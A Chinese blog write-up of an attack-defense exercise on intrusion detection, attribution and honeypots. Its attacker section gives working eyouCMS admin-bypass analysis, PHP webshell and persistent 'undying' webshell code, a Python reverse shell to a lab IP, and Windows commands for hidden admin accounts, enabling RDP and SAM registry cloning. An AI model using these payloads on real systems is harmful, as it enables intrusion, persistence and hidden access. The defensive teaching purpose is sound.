本次演练为举办10月份的一次攻防演练活动,活动主题为“攻防演练之入侵检测与溯源·寻找幽灵”,旨在让自己也让大家了解相关概念以及对应的防护手段

本次演练环境介绍:

在某一天突然发现服务器里某安全软件告警,对日志进行审查,进行入侵检测与溯源,发现攻击者已经攻陷了服务器的WEB系统,并在过程中发现了存在遗留的不少木马,甚至在系统中中下了不死马,所幸的是这位“Ghost”比较粗心大意,居然没有删除日志,让我们找到了他的蛛丝马迹,在进一步入侵检测与溯源途中,发现在服务器上新建了多个用户,而且还连接上了远程桌面用了一些特殊手段将他自己给隐藏起来了,而我们又应该如何去找到他呢?于是便开始了我们的寻找“幽灵”之旅!

1.jpg

入侵检测与溯源介绍

入侵检测:

通过监视各种操作,分析、审计各种数据和现象来实时检测入侵行为的过程,它是一种积极的和动态的安全防御技术;入侵检测的内容涵盖了授权的和非授权的各种入侵行为。例如,违反安全策略行为、冒充其他用户、泄露系统资源、恶意行为、非法访问,以及授权者滥用权力等。

入侵检测原理:

入侵检测是用于检测任何损害或企图损害系统的保密性,完整性或可用性的一种网络安全技术。通过监视受保护系统的状态和活动,采用误用检测(Misuse Detection)或异常检测(Anomaly Detection)的方式,发现非授权或恶意的系统及网络行为,为防范入侵行为提供有效的手段。
入侵检测提供了用于发现入侵攻击与合法用户滥用特权的一种方法,应用前提是:入侵行为和合法行为是可区分的,即可以通过提取行为的模式特征来判断该行为的性质。
入侵检测系统需要解决两个问题:
如何充分并可靠地提取描述行为特征的数据。
如何根据特征数据,高效并准确地判定行为的性质。

入侵检测原理框图.jpg

入侵检测系统结构:

从系统构成上看,入侵检测系统应包括数据提取,入侵分析,响应处理和远程管理四大部分,另外还可能结合安全知识库,数据存储等功能模块,提供更为完善的安全检测及数据分析功能。
数据提取
负责提取与被保护系统相关的运行数据或记录,并对数据进行简单的过滤。
入侵分析
在提取到的数据中找出入侵的痕迹,将授权的正常访问行为和非授权的异常访问行为区分开,分析出入侵行为并对入侵者进行定位。
响应处理
在发现入侵行为后被触发,执行响应措施。
远程管理
由于单个入侵检测系统的检测能力和检测范围的限制,入侵检测系统一般采用分布监视,集中管理的结构,多个检测单元运行于不同的网段或系统中,通过远程管理功能在一台管理站点上实现统一的管理和监控。

入侵检测系统结构.jpg

根据任务属性的不同,入侵检测系统的功能结构可分为两个部分:中心检测平台和代理服务器。中心检测平台和代理服务器之间通过安全的远程过程调用(Remote Procedure Call,RPC)进行通信。
中心检测平台
由专家系统,知识库和管理员组成,其功能是根据代理服务器采集来的审计数据由专家系统进行分析,产生系统安全报告。
代理服务器
负责从各个目标系统中采集审计数据,并把审计数据转换为平台无关的格式后传送到中心检测平台。

实时入侵检测与事后入侵功能原理图:

实时入侵与事后入侵.jpg

溯源:

攻击溯源作为安全事故中事后响应的重要组成部分,通过对受害资产与内网流量进行分析一定程度上还原攻击者的攻击路径与攻击手法,有助于修复漏洞与风险避免二次事件的发生。攻击知识可转换成防御优势,如果能够做到积极主动且有预见性,就能更好地控制后果。
在攻防的视角里,进攻方会占据比较多的主动性,而防守方则略显被动,因为作为防守方,你永远也不知道攻击会在什么时候发生。你所能做的是,做好自己该做的一切,准备好自己该准备的一切,耐心等待对手犯错的机会。

在发现有入侵者后,快速由守转攻,进行精准地溯源反制,收集攻击路径和攻击者身份信息,勾勒出完整的攻击者画像。

溯源追踪.png

1、攻击源捕获

​ 安全设备报警,如扫描IP、威胁阻断、病毒木马、入侵事件等
​ 日志与流量分析,异常的通讯流量、攻击源与攻击目标等
​ 服务器资源异常,异常的文件、账号、进程、端口,启动项、计划任务和服务等
​ 邮件钓鱼,获取恶意文件样本、钓鱼网站URL等
​ 蜜罐系统,获取攻击者行为、意图的相关信息

2、溯源反制手段

​ IP定位技术
根据IP定位物理地址—代理IP
​ 溯源案例:通过IP端口扫描,反向渗透服务器进行分析,最终定位到攻击者相关信息

ID追踪术

​ ID追踪术,搜索引擎、社交平台、技术论坛、社工库匹配
​ 溯源案例:利用ID从技术论坛追溯邮箱,继续通过邮箱反追踪真实姓名,通过姓名找到相关简历信息

​ 网站url

域名Whois查询—注册人姓名、地址、电话和邮箱。—域名隐私保护
​ 溯源案例:通过攻击IP历史解析记录/域名,对域名注册信息进行溯源分析

恶意样本

​ 提取样本特征、用户名、ID、邮箱、C2服务器等信息—同源分析
​ 溯源案例:样本分析过程中,发现攻击者的个人ID和QQ,成功定位到攻击者。

社交账号

基于JSONP跨域,获取攻击者的主机信息、浏览器信息、真实 IP及社交信息等
​ 利用条件:可以找到相关社交网站的jsonp接口泄露敏感信息,相关网站登录未注销

3、攻击者画像

​ 攻击路径

攻击目的:拿到权限、窃取数据、获取利益、DDOS等
​网络代理:代理IP、跳板机、C2服务器等
​攻击手法:鱼叉式邮件钓鱼、Web渗透、水坑攻击、近源渗透、社会工程等
​ 攻击者身份画像

​ 虚拟身份:ID、昵称、网名
​ 真实身份:姓名、物理位置
​ 联系方式:手机号、qq/微信、邮箱
​ 组织情况:单位名称、职位信息

4、安全攻击溯源篇

案例一:邮件钓鱼攻击溯源

攻防场景:攻击者利用社会工程学技巧伪造正常邮件内容,绕过邮件网关的查杀,成功投递到目标邮箱,诱骗用户点击邮件链接或下载附件文件。
信息收集: 通过查看邮件原文,获取发送方IP地址、域名后缀邮箱、钓鱼网站或恶意附件样本等信息。
溯源方式:第一种,可以通过相关联的域名/IP进行追踪;第二种,对钓鱼网站进行反向渗透获取权限,进一步收集攻击者信息;第三种,通过对邮件恶意附件进行分析,利用威胁情报数据平台寻找同源样本获取信息,也能进一步对攻击者的画像进行勾勒。

案例二:Web入侵溯源
攻防场景:攻击者通过NDAY和0DAY漏洞渗入服务器网段,Webshell 触发安全预警或者威胁检测阻断了C&C域名的通讯。
溯源方式:隔离webshell样本,使用Web日志还原攻击路径,找到安全漏洞位置进行漏洞修复,从日志可以找到攻击者的IP地址,但攻击者一般都会使用代理服务器或匿名网络(例如Tor)来掩盖其真实的IP地址。
在入侵过程中,使用反弹shell、远程下载恶意文件、端口远程转发等方式,也容易触发威胁阻断,而这个域名/IP,提供一个反向信息收集和渗透测试的路径。

案例三:蜜罐溯源

攻防场景:在企业内网部署蜜罐去模拟各种常见的应用服务,诱导攻击者攻击。
溯源方式:在攻击者入侵蜜罐时,蜜罐可以记录攻击者的入侵行为,获取攻击者的主机信息、浏览器信息、甚至是真实 IP及社交信息。

入侵者视角

(由于这篇文章是我在之后写的,下面的攻击手段以及目标是搭建在蜜罐中,但是环境是基本一样的,不同的是之前的是Windows服务器,现在是Linux服务器)【windows服务器上之前是用到远程桌面进行各种操作时碰到各种安全软件拦截,非常的繁琐,不方便,这里部署的两个环境刚好一个Windows跟一个LINUX,非常的方便】
注:这里是重新部署环境后重新在linux环境下以正常的思路去打

pros-and-cons-of-honey-pots.jpg

打开web页面,寻找关键可用信息;

2222.jpg

简单尝试后,找到疑似有漏洞“eyouCMS从后台登录绕过到getshell”,探测版本号为 1.5.1,证实确实存在该漏洞;
进行分析:
后台登录判断
application/admin/controller/Base.php-_initialize()

       $web_login_expiretime = tpCache('web.web_login_expiretime');
        empty($web_login_expiretime) && $web_login_expiretime = config('login_expire');
        $admin_login_expire = session('admin_login_expire'); //最后登录时间
        if (session('?admin_id') && (getTime() - $admin_login_expire) < $web_login_expiretime) {
            session('admin_login_expire', getTime()); // 登录有效期
            $this->check_priv();//检查管理员菜单操作权限
        }else{
            /*自动退出*/
            adminLog('访问后台');
            session_unset();
            session::clear();
            cookie('admin-treeClicked', null); // 清除并恢复栏目列表的展开方式
            /*--end*/
            if (IS_AJAX) {
                $this->error('登录超时!');
            } else {
                $url = request()->baseFile().'?s=Admin/login';
                $this->redirect($url);
            }
        }

这里的$web_login_expiretime变量的值为session的有效时间,单位为秒,这里默认设置的为3600
通过if判断session admin_id是否存在,用getTime()方法获取当前的时间戳然后减去最后登录时间的时间戳,如果小于登陆有效时间的化就可以继续使用该session进行登录,验证登录之后获取现在的时间戳对session admin_login_expire的值进行更新,然后调用$this->check_priv()方法来检查管理员菜单操作权限。
这里我们设置的session值是为请求时间戳的md5值,如果要满足 (getTime() - $admin_login_expire) < $web_login_expiretime)这个条件的话,需要md5值前面是连着一串得数字,这样可以将计算得效果为负数,自然也就满足条件了

/application/admin/controller/Base.php-check_priv()

public function check_priv()
{
    $ctl = CONTROLLER_NAME;
    $act = ACTION_NAME;
    $ctl_act = $ctl.'@'.$act;
    $ctl_all = $ctl.'@*';
    //无需验证的操作
    $uneed_check_action = config('uneed_check_action');
    if (0 >= intval(session('admin_info.role_id'))) {
        //超级管理员无需验证
        return true;
    } else {
        $bool = false;

        /*检测是否有该权限*/
        if (is_check_access($ctl_act)) {
            $bool = true;
        }
        /*--end*/

        /*在列表中的操作不需要验证权限*/
        if (IS_AJAX || strpos($act,'ajax') !== false || in_array($ctl_act, $uneed_check_action) || in_array($ctl_all, $uneed_check_action)) {
            $bool = true;
        }
        /*--end*/

        //检查是否拥有此操作权限
        if (!$bool) {
            $this->error('您没有操作权限,请联系超级管理员分配权限');
        }
    }
}

可以看到是如果session admin_info.role_id的值如果小于等于0就等于拥有了超级管理员的权限,就相当于绕过了登录直接拿到了后台管理员的权限

需要session总结
admin_login_expire:需要一段以数字开头的连续一定长度的md5值,但是服务器接收的是HTTP的REQUEST_TIME_FLOAT头,精确到小数点后3或者4位,使用脚本时无法与其匹配,又因是md5加密,所以加密之后的值差别很大,但是这里是可以通过爆破来一直尝试,只要一次成功那么就会设置session admin_login_expire,所以只要开着脚本放一会儿就可以生成这个session,如果再次生成则会覆盖,只需判断是否可以凭借该session登录后台即可
admin_id:判断是否存在,随意创建一个即可
admin_info.role_id:以0开头的md5值或者以字母开头的md5值
因为生成的admin_id和真正的admin_id是不一样的,所以进行增删改的操作并且涉及到admin_id的值时会报错
前台session设置
/core/library/think/library/Controller.php-__construct(Request $request = null)

    if (!defined('IS_AJAX')) {
        $this->request->isAjax() ? define('IS_AJAX',true) : define('IS_AJAX',false);  // 
    }

/core/library/think/library/Request.php-isAjax($ajax = false)

 /**
 * 当前是否Ajax请求
 * @access public
 * @param bool $ajax true 获取原始ajax请求
 * @return bool
 */
public function isAjax($ajax = false)
{
    $value  = $this->server('HTTP_X_REQUESTED_WITH', '', 'strtolower');
    $result = ('xmlhttprequest' == $value) ? true : false;
    if (true === $ajax) {
        return $result;
    } else {
        $result           = $this->param(Config::get('var_ajax')) ? true : $result;
        $this->mergeParam = false;
        return $result;
    }
}

...

public function server($name = '', $default = null, $filter = '')
{
    if (empty($this->server)) {
        $this->server = $_SERVER;
    }
    if (is_array($name)) {
        return $this->server = array_merge($this->server, $name);
    }
    return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
}

...

public function input($data = [], $name = '', $default = null, $filter = '')
{
    if (false === $name) {
        // 获取原始数据
        return $data;
    }
    $name = (string) $name;
    if ('' != $name) {
        // 解析name
        if (strpos($name, '/')) {
            list($name, $type) = explode('/', $name);
        } else {
            $type = 's';
        }
        // 按.拆分成多维数组进行判断
        foreach (explode('.', $name) as $val) {
            if (isset($data[$val])) {
                $data = $data[$val];
            } else {
                // 无输入数据,返回默认值
                return $default;
            }
        }
        if (is_object($data)) {
            return $data;
        }
    }

    // 解析过滤器
    $filter = $this->getFilter($filter, $default);

    if (is_array($data)) {
        array_walk_recursive($data, [$this, 'filterValue'], $filter);
        reset($data);
    } else {
        $this->filterValue($data, $name, $filter);
    }

    if (isset($type) && $data !== $default) {
        // 强制类型转换
        $this->typeCast($data, $type);
    }
    return $data;
}

首先调用get_token()方法需要常量IS_AJAX的值为True,于是先要调用Request类的isAjax()方法,再调用本类的server()方法,再传入到本类的input()方法,其实就是将$_SERVER数组变量中的HTTP_X_REQUESTED_WITH参数的值取出,通过
$result = ('xmlhttprequest' == $value) ? true : false;
来返回IS_AJAX的值,只有为True时才能够请求api中的Ajax.php中的方法

/application/api/controller/Ajax.php-get_token()

public function get_token($name = '__token__')
{
    if (IS_AJAX) {
        echo $this->request->token($name);
        exit;
    } else {
        abort(404);
    }

}
get_token是前台可以随意调用的,可以通过传递变量$name,并且会对$this->request->token($name)返回的值进行打印。继续跟进token函数

/core/library/think/library/Request.php-token()

public function token($name = '__token__', $type = 'md5')
{
    $type  = is_callable($type) ? $type : 'md5';
    $token = call_user_func($type, $_SERVER['REQUEST_TIME_FLOAT']);
    if ($this->isAjax()) {
        header($name . ': ' . $token);
    }
    Session::set($name, $token);
    return $token;
}

将get_token()方法的$name参数传递进来,并且默认的加密方式为md5,这里将请求开始的时间进行md5进行加密,将session的值名字和md5请求时间戳通过http头返回,然后使用Session::set($name, $token)方法来设置session
/core/library/think/Session.php-set()

public static function set($name, $value = '', $prefix = null)
{
    empty(self::$init) && self::boot();

    $prefix = !is_null($prefix) ? $prefix : self::$prefix;
    if (strpos($name, '.')) {
        // 二维数组赋值
        list($name1, $name2) = explode('.', $name);
        if ($prefix) {
            $_SESSION[$prefix][$name1][$name2] = $value;
        } else {
            $_SESSION[$name1][$name2] = $value;
        }
    } elseif ($prefix) {
        $_SESSION[$prefix][$name] = $value;
    } else {
        $_SESSION[$name] = $value;
    }
}

抓包修改参数编写exp,进行绕过:

qwewqeqw.jpg

231231213.jpg

访问地址就成功进入了后台了,

ht.jpg

进入后台,这里还有一个远程下载插件getshell 的漏洞,但是这里已知高版本的一个小0day,就能直接getshell了
<?=exec('echo "PD9waHAgZXZhbCgkX1BPU1RbMV0pPz4="|base64 -d>/phpapp/vendor/alipay/bit.php');
直接写进去一个webshell蚁剑连接,然后写一些木马和不死马

bsm.jpg

拿到shell后就进行反弹shell进行进一步操作

shell.jpg

这里可以看到权限为www-data,所以如果需要进一步操作需要进行提权
因为拿下的web服务只是具有低权限的(www-data),而对于进行内网渗透以及一些其他敏感操作都是需要提权到root的,这点权限方面Windos就没有这么麻烦,当然Linux来说相对也就更安全了。
这里又需要了解到新东西了,就是关于www-data提权的方法
一般来说有以下几种方法:

内核漏洞提权(这里我服务器下载的是最新版本的,理论上来说基本不太可能实现,而且一般这种方法也是到了迫不得已才来尝试的 故PASS)

明文root密码提权(尝试 cat /etc/passwd && cat /etc/shadow,提示没权限读取后面的文件 PASS)

计划任务

系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/内系统的计划任务可以被列出
默认这些程序以root权限执行,如果刚好遇到一个把其中脚本配置成可以任意用户可写的,这个时候就可以修改脚本等回连rootshell;如果定时执行的文件时python脚本,可以使用下面的脚本来替换之前的脚本。

#!/usr/bin/python
import os,subprocess,socket

s=socket.socekt(sicket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.0.2.4","4444"))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

发现也并没有(PASS)

密码复用

很多管理员会重读使用密码,因此数据库或者web后台的密码也许就是root密码。

有了疑似root密码,第一时间想到ssh登录,但是ssh很可能禁止root登录,或者是防火墙规则等因素排除。之前已经得到一个低权限的shell,但是直接在低权限里使用sudo是不奏效的。出于安全考虑,linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入,也就是说sudo在输入密码的时候本质是读取键盘,而不是bash里面的字符。因此要输入密码,还需要一个终端设备。python有这种功能的,就是模拟化终端,输入

python -c "import pty;pty.spawn('/bin/bash')"

突然想到我这里是在虚拟机的一个docker里,也就是蜜罐中,是一个比较干净的环境,一般不会有那么一些较为明显的配置错误信息导致提权,提权的手段简单尝试了几个没有成功,也没啥思路,只能暂时放弃了;
【没有提权成功,那么你想删除日志都做不到,然后自己的相关信息却已经暴露在对方的视角另一方面,高交互性蜜罐旨在使黑客在蜜罐内花费尽可能多的时间,从而提供有关他们的意图和目标以及他们正在利用的漏洞和所用作案手法的大量信息。可以将其视为添加了“胶水”的蜜罐 - 可以让攻击者花费更长时间交互的数据库、系统和进程。这使得研究人员能够跟踪攻击者在系统中的哪些位置查找敏感信息,他们使用哪些工具来提权,或者利用哪些漏洞来破坏系统。】

why-honeypots-are-used-for-cyber-security.jpg

实战,Windows靶场的(非蜜罐中)

这里的话已经打了好多遍了,为了写这篇博客就再打一遍吧
前面的几乎一样,大同小异,前台session绕过登录后台,有点不同的是base64函数在Windows中并不会进行解码,这种同样写马的方式显然是不行的,通过fuzz出过滤了哪些,然后再构造:

<?php fputs(fopen('vendor\alipay\bit.php','w'),'<?php @assert($_POST[bit])?>');?>

然后一系列操作,同样是写马,加不死马...
config.php

<?php
 ignore_user_abort(true);
 set_time_limit(0);
 $file = 'bit.php';
 $code = base64_decode('PD9waHAgZXZhbCgkX1BPU1RbYml0XSk/Pg==');
 while(true) {
     if(md5(file_get_contents($file))===md5($code)) {
         file_put_contents($file, $code);
     }
     usleep(50);
 }
?>

不一样的来了
这里可以使用Windows隐藏技术将自己的文件隐藏起来,但是还是可以正常访问
使用 Attrib +s +a +h +r 命令把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和
隐藏文件属性。由于添加了系统隐藏属性,正常是无法看到的,除非取消勾选“隐藏受保护的操作系统文件(推荐)”:

backdoor.jpg

然后再命令终端输入:net user bit$ P@ssw0rd /add (这里美元符号也是为了隐藏自己,在用户列表中无法直接看到)
然后将其加入到administrator用户组中
使用wmic可以查看到隐藏用户
重启服务器后也能在计算机管理处看到该用户

useradd.jpg

创建成功后使用net user命令无法查看到此用户,但是在计算机管理页面中还是可以看到,需要通过修改注册表来隐藏。
命令行打开远程桌面:

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /t REG_DWORD /v "fDenyTSConnections" /d 0 /f

连接远程桌面
打开注册表(HKEY_LOCAL_MACHINE\SAM\SAM)
修改SAM权限,赋予adminitrators完全控制权限。
将Administrator用户对应项的F数据值复制到bit$用户对应项的F数据值。
将bit$和所对应项000003F1导出,分别命名为bit.reg和1.reg
删除bit$用户,将bit.reg和1.reg导入注册表
net user bit$ /del
regedit /s bit.regregedit /s 1.reg

入侵检测与溯源实操演示

实操暂略,讲解一些思路以及一些工具:
常见的应急响应事件分为以下三类:

WEB入侵:网页挂马、主页篡改、Webshell
系统入侵:病毒木马、勒索软件、远控后门
网络攻击:DDOS 攻击、DNS 劫持、ARP 欺骗

入侵排查思路(入侵排查没有固定的步骤,最终目的是找到攻击者,并发现攻击者的攻击途径,具体操作等。):

WEB入侵:对中间件日志进行分析,找到攻击者IP、利用的漏洞
系统入侵:事件管理器、计划任务、进程分析
网络攻击:流量分析

Windows入侵排查常用工具:

Webshell查杀:D盾、河马

后门程序检测:火绒剑、卡巴斯基反病毒

日志分析:logparser、360星图、notepad++


D盾:http://www.d99net.net
河马:https://www.shellpub.com
火绒剑:https://www.huorong.cn/(下载火绒杀毒软件,位于杀毒软件“安全工具”位置)
卡巴斯基:https://www.kaspersky.com.cn/
Logparser:https://www.microsoft.com/en-us/download/details.aspx?id=24659
Notepad++:https://notepad-plus-plus.org/

如何发现隐藏的Webshell后门?

在一个大中型的应用系统中,数以百万级的代码行,不可能对每一行代码进行检查,同时,攻击者的隐藏手段是层出不穷的,即使是使用webshell查杀工具也无法保证没有恶意代码,因此最好的方法是与备份代码做文件完整性验证。

推荐工具:
WinMerge:https://winmerge.org/downloads/
Beyond Compare:http://www.scootersoftware.com/download.php

简单日志分析:
172.16.90.75 - - [25/Oct/2022:15:46:14 +0800] "GET /index.php HTTP/1.1" 200 45300

图片1.png

日志过滤方法
1、使用正则表达式匹配,将日志中访问静态文件的记录删除。此处的静态文件指的是jpg、png、js、css、woff等文件。
2、利用excel表格对数据去重、筛选。
讲一下正则筛选日志的方法
正则匹配:
172.16.90.75 - - [25/Oct/2022:16:00:31 +0800] "GET /uploads/allimg/20210114/1-2101140933194M.png HTTP/1.1" 200 12271
正则匹配语法:^..png.\r\n 匹配所有后缀为png的记录
^表示匹配行首
.表示匹配单个字符
*表示匹配前面表达式0次或多次
\r\n为Windows换行,不属于正则语法

浅谈“蜜罐”

蜜罐的定义:

蜜罐是一种安全威胁的主动防御技术,它通过模拟一个或多个易受攻击的主机或服务来吸引攻击者,捕获攻击流量与样本,发现网络威胁、提取威胁特征,蜜罐的价值在于被探测、攻陷。
其在本质上来说,是一个与攻击者进行攻防博弈的过程。蜜罐提供服务,攻击者提供访问,通过蜜罐对攻击者的吸引,攻击者对蜜罐进行攻击,在攻击的过程中,有经验的攻击者也可能识别出目标是一个蜜罐。为此,为更好的吸引攻击者,蜜罐也需要提供强悍的攻击诱骗能力。

蜜罐系统主要包括数据捕获、交互仿真以及安全防护三部分,结构如下图:

图片2.png

交互仿真面向攻击者,主要负责与攻击者进行交互,其通过模拟服务的方式暴露攻击面,诱导攻击者进行攻击;

数据捕获面向管理者对攻击者不可见,通过监测网络流量、系统操作行为等,捕获记录攻击者的连接数据、攻击数据包以及恶意代码等高威胁高价值数据,便于后续的安全分析;

安全防护面向管理者对攻击者不可见,通过采用操作权限分级、阻断、隔离等方式,防止攻击者攻陷蜜罐系统,引起恶意利用。

使用蜜罐的好处:

  1. 网络犯罪分子来自何处
  2. 威胁级别
  3. 他们的作案手法
  4. 他们感兴趣的数据或应用程序
  5. 您的安全措施在阻止网络攻击方面的效果如何
  6. 蜜罐作为一种主动防御技术主要用来对攻击者进行欺骗,一方面可以用来捕获攻击、分析攻击,另一方面也可以用来诱捕攻击者,从而保护真实的设备。
  7. 蜜罐是暴露主要系统中的漏洞的好方法。
  8. 蜜罐不应获得任何合法流量,因此所记录的任何活动都可能是探测或入侵尝试。
  9. 使用蜜罐的一大优势在于,恶意地址可能是您看到的全部地址,从而使攻击更容易识别。
  10. 蜜罐的误报率很低。
  11. 蜜罐能抵御内部威胁
  12. 蜜罐可以提供有关威胁如何进化的可靠情报。

长亭谛听的部署及使用:
(由于涉及内部资料对外可能不方便在此不公开)
功能还是挺多的,(写的时候把相关环境已经下线了,也懒得再上线去搞了)
功能模块以及部署的话如果有需要用的相关手册里面也介绍的很详细了,这里也不再概述;

image-20221031161658192.png

实时监控大屏:

image-20221031161737390.png

附录:

应急响应笔记
(上传文件途中有点慢,也可能有点大,有需要的找我要吧o.O)

参考博客:
入侵检测技术
安全攻击溯源思路及案例

标签: none

暂无评论